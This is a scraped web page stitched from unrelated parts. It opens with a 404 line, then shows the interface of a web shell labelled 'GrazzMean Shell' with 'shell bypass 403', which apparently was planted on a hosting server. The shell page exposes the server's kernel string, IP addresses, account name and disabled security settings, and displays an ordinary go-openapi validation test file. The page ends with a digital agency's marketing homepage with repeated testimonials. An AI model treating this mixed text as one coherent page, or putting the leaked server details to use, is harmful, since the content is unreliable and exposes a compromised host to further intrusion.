404 Not Found


nginx
beegazpacho.com - GrazzMean
shell bypass 403

GrazzMean Shell

Uname: Linux in-mum-web1557.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Software: LiteSpeed
PHP version: 8.2.30 [ PHP INFO ] PHP os: Linux
Server Ip: 88.222.243.171
Your Ip: 216.73.216.168
User: u848900432 (848900432) | Group: o51372345 (1051372345)
Safe Mode: OFF
Disable Function:
NONE

name : values_test.go
// Copyright 2015 go-swagger maintainers
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//    http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package validate

import (
	"context"
	"math"
	"testing"

	"github.com/go-openapi/errors"
	"github.com/go-openapi/strfmt"
	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestValues_ValidateIntEnum(t *testing.T) {
	enumValues := []interface{}{1, 2, 3}

	require.Error(t, Enum("test", "body", int64(5), enumValues))
	require.Nil(t, Enum("test", "body", int64(1), enumValues))
}

func TestValues_ValidateEnum(t *testing.T) {
	enumValues := []string{"aa", "bb", "cc"}

	require.Error(t, Enum("test", "body", "a", enumValues))
	require.Nil(t, Enum("test", "body", "bb", enumValues))

	type CustomString string

	require.Error(t, Enum("test", "body", CustomString("a"), enumValues))
	require.Nil(t, Enum("test", "body", CustomString("bb"), enumValues))
}

func TestValues_ValidateNilEnum(t *testing.T) {
	enumValues := []string{"aa", "bb", "cc"}

	require.Error(t, Enum("test", "body", nil, enumValues))
}

// Check edge cases in Enum
func TestValues_Enum_EdgeCases(t *testing.T) {
	enumValues := "aa, bb, cc"

	// No validation occurs: enumValues is not a slice
	require.Nil(t, Enum("test", "body", int64(1), enumValues))

	// TODO(TEST): edge case: value is not a concrete type
	// It's really a go internals challenge
	// to figure a test case to demonstrate
	// this case must be checked (!!)
}

func TestValues_ValidateEnumCaseInsensitive(t *testing.T) {
	enumValues := []string{"aa", "bb", "cc"}

	require.Error(t, EnumCase("test", "body", "a", enumValues, true))
	require.Nil(t, EnumCase("test", "body", "bb", enumValues, true))
	require.Error(t, EnumCase("test", "body", "BB", enumValues, true))
	require.Error(t, EnumCase("test", "body", "a", enumValues, false))
	require.Nil(t, EnumCase("test", "body", "bb", enumValues, false))
	require.Nil(t, EnumCase("test", "body", "BB", enumValues, false))
	require.Error(t, EnumCase("test", "body", int64(1), enumValues, false))
}

func TestValues_ValidateUniqueItems(t *testing.T) {
	itemsNonUnique := []interface{}{
		[]int32{1, 2, 3, 4, 4, 5},
		[]string{"aa", "bb", "cc", "cc", "dd"},
	}
	for _, v := range itemsNonUnique {
		require.Error(t, UniqueItems("test", "body", v))
	}

	itemsUnique := []interface{}{
		[]int32{1, 2, 3},
		"I'm a string",
		map[string]int{
			"aaa": 1111,
			"b":   2,
			"ccc": 333,
		},
		nil,
	}
	for _, v := range itemsUnique {
		require.Nil(t, UniqueItems("test", "body", v))
	}
}

func TestValues_ValidateMinLength(t *testing.T) {
	const minLength = int64(5)
	require.Error(t, MinLength("test", "body", "aa", minLength))
	require.Nil(t, MinLength("test", "body", "aaaaa", minLength))
}

func TestValues_ValidateMaxLength(t *testing.T) {
	const maxLength = int64(5)
	require.Error(t, MaxLength("test", "body", "bbbbbb", maxLength))
	require.Nil(t, MaxLength("test", "body", "aa", maxLength))
}

func TestValues_ReadOnly(t *testing.T) {
	const (
		path = "test"
		in   = "body"
	)

	ReadOnlySuccess := []interface{}{
		"",
		0,
		nil,
	}

	// fail only when operation type is request
	ReadOnlyFail := []interface{}{
		" ",
		"bla-bla-bla",
		2,
		[]interface{}{21, []int{}, "testString"},
	}

	t.Run("No operation context", func(t *testing.T) {
		// readonly should not have any effect
		ctx := context.Background()
		for _, v := range ReadOnlySuccess {
			require.Nil(t, ReadOnly(ctx, path, in, v))
		}
		for _, v := range ReadOnlyFail {
			require.Nil(t, ReadOnly(ctx, path, in, v))
		}

	})
	t.Run("operationType request", func(t *testing.T) {
		ctx := WithOperationRequest(context.Background())
		for _, v := range ReadOnlySuccess {
			require.Nil(t, ReadOnly(ctx, path, in, v))
		}
		for _, v := range ReadOnlyFail {
			require.Error(t, ReadOnly(ctx, path, in, v))
		}
	})
	t.Run("operationType response", func(t *testing.T) {
		ctx := WithOperationResponse(context.Background())
		for _, v := range ReadOnlySuccess {
			require.Nil(t, ReadOnly(ctx, path, in, v))
		}
		for _, v := range ReadOnlyFail {
			require.Nil(t, ReadOnly(ctx, path, in, v))
		}
	})
}

func TestValues_ValidateRequired(t *testing.T) {
	const (
		path = "test"
		in   = "body"
	)

	RequiredFail := []interface{}{
		"",
		0,
		nil,
	}

	for _, v := range RequiredFail {
		require.Error(t, Required(path, in, v))
	}

	RequiredSuccess := []interface{}{
		" ",
		"bla-bla-bla",
		2,
		[]interface{}{21, []int{}, "testString"},
	}

	for _, v := range RequiredSuccess {
		require.Nil(t, Required(path, in, v))
	}

}

func TestValues_ValidateRequiredNumber(t *testing.T) {
	require.Error(t, RequiredNumber("test", "body", 0))
	require.Nil(t, RequiredNumber("test", "body", 1))
}

func TestValuMultipleOf(t *testing.T) {
	// positive
	require.Nil(t, MultipleOf("test", "body", 9, 3))
	require.Nil(t, MultipleOf("test", "body", 9.3, 3.1))
	require.Nil(t, MultipleOf("test", "body", 9.1, 0.1))
	require.Nil(t, MultipleOf("test", "body", 3, 0.3))
	require.Nil(t, MultipleOf("test", "body", 6, 0.3))
	require.Nil(t, MultipleOf("test", "body", 1, 0.25))
	require.Nil(t, MultipleOf("test", "body", 8, 0.2))

	// zero
	require.Error(t, MultipleOf("test", "body", 9, 0))
	require.Error(t, MultipleOf("test", "body", 9.1, 0))

	// negative
	require.Error(t, MultipleOf("test", "body", 3, 0.4))
	require.Error(t, MultipleOf("test", "body", 9.1, 0.2))
	require.Error(t, MultipleOf("test", "body", 9.34, 0.1))

	// error on negative factor
	require.Error(t, MultipleOf("test", "body", 9.34, -0.1))
}

// Test edge case for Pattern (in regular spec, no invalid regexp should reach there)
func TestValues_Pattern_Edgecases(t *testing.T) {
	require.Nil(t, Pattern("path", "in", "pick-a-boo", `.*-[a-z]-.*`))

	t.Run("with invalid regexp", func(t *testing.T) {
		err := Pattern("path", "in", "pick-a-boo", `.*-[a(-z]-^).*`)
		require.Error(t, err)
		assert.Equal(t, int(err.Code()), int(errors.PatternFailCode))
		assert.Contains(t, err.Error(), "pattern is invalid")
	})

	t.Run("with valid regexp, invalid pattern", func(t *testing.T) {
		err := Pattern("path", "in", "pick-8-boo", `.*-[a-z]-.*`)
		require.Error(t, err)
		assert.Equal(t, int(err.Code()), int(errors.PatternFailCode))
		assert.NotContains(t, err.Error(), "pattern is invalid")
		assert.Contains(t, err.Error(), "should match")
	})
}

// Test edge cases in FormatOf
// not easily tested with full specs
func TestValues_FormatOf_EdgeCases(t *testing.T) {
	var err *errors.Validation

	err = FormatOf("path", "in", "bugz", "", nil)
	require.Error(t, err)
	assert.Equal(t, int(err.Code()), int(errors.InvalidTypeCode))
	assert.Contains(t, err.Error(), "bugz is an invalid type name")

	err = FormatOf("path", "in", "bugz", "", strfmt.Default)
	require.Error(t, err)
	assert.Equal(t, int(err.Code()), int(errors.InvalidTypeCode))
	assert.Contains(t, err.Error(), "bugz is an invalid type name")
}

// Test edge cases in MaximumNativeType
// not easily exercised with full specs
func TestValues_MaximumNative(t *testing.T) {
	require.Nil(t, MaximumNativeType("path", "in", int(5), 10, false))
	require.Nil(t, MaximumNativeType("path", "in", uint(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", int8(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", uint8(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", int16(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", uint16(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", int32(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", uint32(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", int64(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", uint64(5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", float32(5.5), 10, true))
	require.Nil(t, MaximumNativeType("path", "in", float64(5.5), 10, true))

	var err *errors.Validation

	err = MaximumNativeType("path", "in", int32(10), 10, true)
	require.Error(t, err)
	code := int(err.Code())
	assert.Equal(t, errors.MaxFailCode, code)

	err = MaximumNativeType("path", "in", uint(10), 10, true)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, errors.MaxFailCode, code)

	err = MaximumNativeType("path", "in", int64(12), 10, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, errors.MaxFailCode, code)

	err = MaximumNativeType("path", "in", float32(12.6), 10, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MaxFailCode), code)

	err = MaximumNativeType("path", "in", float64(12.6), 10, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MaxFailCode), code)

	err = MaximumNativeType("path", "in", uint(5), -10, true)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MaxFailCode), code)
}

// Test edge cases in MinimumNativeType
// not easily exercised with full specs
func TestValues_MinimumNative(t *testing.T) {
	require.Nil(t, MinimumNativeType("path", "in", int(5), 0, false))
	require.Nil(t, MinimumNativeType("path", "in", uint(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", int8(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", uint8(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", int16(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", uint16(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", int32(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", uint32(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", int64(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", uint64(5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", float32(5.5), 0, true))
	require.Nil(t, MinimumNativeType("path", "in", float64(5.5), 0, true))

	var err *errors.Validation

	err = MinimumNativeType("path", "in", uint(10), 10, true)
	require.Error(t, err)
	code := int(err.Code())
	assert.Equal(t, int(errors.MinFailCode), code)

	err = MinimumNativeType("path", "in", uint(10), 10, true)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MinFailCode), code)

	err = MinimumNativeType("path", "in", int64(8), 10, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MinFailCode), code)

	err = MinimumNativeType("path", "in", float32(12.6), 20, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MinFailCode), code)

	err = MinimumNativeType("path", "in", float64(12.6), 20, false)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MinFailCode), code)

	require.Nil(t, MinimumNativeType("path", "in", uint(5), -10, true))
}

// Test edge cases in MaximumNativeType
// not easily exercised with full specs
func TestValues_MultipleOfNative(t *testing.T) {
	require.Nil(t, MultipleOfNativeType("path", "in", int(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", uint(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", int8(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", uint8(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", int16(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", uint16(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", int32(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", uint32(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", int64(5), 1))
	require.Nil(t, MultipleOfNativeType("path", "in", uint64(5), 1))

	var err *errors.Validation

	err = MultipleOfNativeType("path", "in", int64(5), 0)
	require.Error(t, err)
	code := int(err.Code())
	assert.Equal(t, int(errors.MultipleOfMustBePositiveCode), code)

	err = MultipleOfNativeType("path", "in", uint64(5), 0)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MultipleOfMustBePositiveCode), code)

	err = MultipleOfNativeType("path", "in", int64(5), -1)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MultipleOfMustBePositiveCode), code)

	err = MultipleOfNativeType("path", "in", int64(11), 5)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MultipleOfFailCode), code)

	err = MultipleOfNativeType("path", "in", uint64(11), 5)
	require.Error(t, err)
	code = int(err.Code())
	assert.Equal(t, int(errors.MultipleOfFailCode), code)
}

// Test edge cases in IsValueValidAgainstRange
// not easily exercised with full specs: we did not simulate these formats in full specs
func TestValues_IsValueValidAgainstRange(t *testing.T) {
	require.NoError(t, IsValueValidAgainstRange(float32(123.45), "number", "float32", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(float64(123.45), "number", "float32", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(123), "number", "float", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(123), "integer", "", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(123), "integer", "int64", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(123), "integer", "uint64", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(2147483647), "integer", "int32", "prefix", "path"))
	require.NoError(t, IsValueValidAgainstRange(int64(2147483647), "integer", "uint32", "prefix", "path"))

	var err error
	// Error case (do not occur in normal course of a validation)
	err = IsValueValidAgainstRange(float64(math.MaxFloat64), "integer", "", "prefix", "path")
	require.Error(t, err)
	assert.Contains(t, err.Error(), "must be of type integer (default format)")

	// Checking a few limits
	err = IsValueValidAgainstRange("123", "number", "", "prefix", "path")
	require.Error(t, err)
	assert.Contains(t, err.Error(), "called with invalid (non numeric) val type")
}
© 2026 GrazzMean
Beegazpacho


Let’s  Start  Your  Online  Journey  with  Beegazpacho 

Welcome to Beegazpacho,
where creativity meets strategy,
and innovation drives success.


Contact
Now


OUR CLIENTS

WhatsApp-Image-2021-12-06.png
Untitled-design-11.png
niaf-logo.png
20220406-163308-scaled.jpg
karchi-logo.png
20220405-171252.png
20220405-171309.png
20220321-161603.png
20220321-161611.png
20220321-161628.png
20220321-161244.png
20220321-161256.png
20220321-161450.png
20220321-161205.png
20220226-170222.png
20220321-161051.png
20211202-170852.png
Untitled-design-9
pidilite-png-logo-colour
logo-black-e1706125740216-qisosldqhzgcaerhdt6n4t3m4s50jr0iik48z0h5vk
Fraikin-Dayim-logo-1
hpcl-logo-2-1
services

Transforming Ideas into
Success

.01
Digital Marketing

We drive growth through data-driven strategies and cutting-edge techniques.

Learn More

.02
SEO

Improve your online visibility and rank higher on search engines with our expert SEO services.

Learn More

.03
Website Designing

We design websites that are not only visually stunning but also user-centric, ensuring seamless navigation and enhanced user experience.

Learn More

.04
App Development

Our apps are crafted to be intuitive, engaging, and functional, providing your users with an exceptional mobile experience.

Learn More

.05
Social Media Ads

Target the right audience with precision and creativity to maximize engagement and conversions.

Learn More

.06
Google Ads

Maximize ROI with precision-targeted campaigns on Google’s powerful ad platform.

Learn More

.07
Google My Business

Optimize your local presence with strategies that put your business on the map and attract more customers.

Learn More

.08
Graphic Designing

Our designs tell your brand’s story in a visually compelling way.

Learn More

.09
3D Videos

Bring your product to life with immersive and dynamic 3D explainer videos.

Learn More

about BEEGAZPACHO

creating special Things
For special brands

Join the ranks of successful brands by partnering with Beegazpacho

00+

Happy Customer

00+

Continents

Our vision is not just to be a service provider but to be your partner in growth. We see ourselves as an extension of your team, working tirelessly to ensure that your brand not only meets its goals but surpasses them.

Explore
more

Our Recent Work

Crafted with Passion and Precision

Connect now


Web Design
Design, Development & Identity

Logo Design
Design, Development & Identity

Creative Brand design
Design, Development & Identity

Product Design Marketing
Design, Development & Identity

DIGITAL MARKETING
SEO
WEBSITE DESIGNING
APP DEVELOPMENT
SOCIAL MEDIA ADS
GOOGLE ADS
GOOGLE MY BUSINESS
GRAPHIC DESINING
3D VIDEOS
Client Stories

Hear It from Those Who Know Us Best

Our clients’ success stories speak volumes about our commitment to excellence. Don’t just take our word for it—hear directly from the brands we’ve partnered with. Their testimonials highlight our ability to bring visions to life and create a lasting impact on their businesses.

“Beegazpacho feels like an extension of our team. Their content marketing and social media expertise have elevated our brand. They listen, adapt, and always deliver on time. We look forward to continuing this partnership.”

— Sarah Williams

Head of Marketing, GreenPlanet Apparel

“Beegazpacho’s data-driven strategies helped us improve our online ads, optimize our website, and enhance branding. We’ve seen great ROI and increased visibility. Their professionalism is unmatched.”

— Arvind Shah

CEO, InnovateTech Solutions

“Partnering with Beegazpacho has been a game-changer for our brand. Their creative ad campaigns and SEO services have boosted our online presence and significantly increased leads and sales. We couldn’t ask for a better partner!”

— Rina Kapoor

Marketing Director, Luxury Home Interiors

“Beegazpacho feels like an extension of our team. Their content marketing and social media expertise have elevated our brand. They listen, adapt, and always deliver on time. We look forward to continuing this partnership.”

— Sarah Williams

Head of Marketing, GreenPlanet Apparel

“Beegazpacho’s data-driven strategies helped us improve our online ads, optimize our website, and enhance branding. We’ve seen great ROI and increased visibility. Their professionalism is unmatched.”

— Arvind Shah

CEO, InnovateTech Solutions

“Partnering with Beegazpacho has been a game-changer for our brand. Their creative ad campaigns and SEO services have boosted our online presence and significantly increased leads and sales. We couldn’t ask for a better partner!”

— Rina Kapoor

Marketing Director, Luxury Home Interiors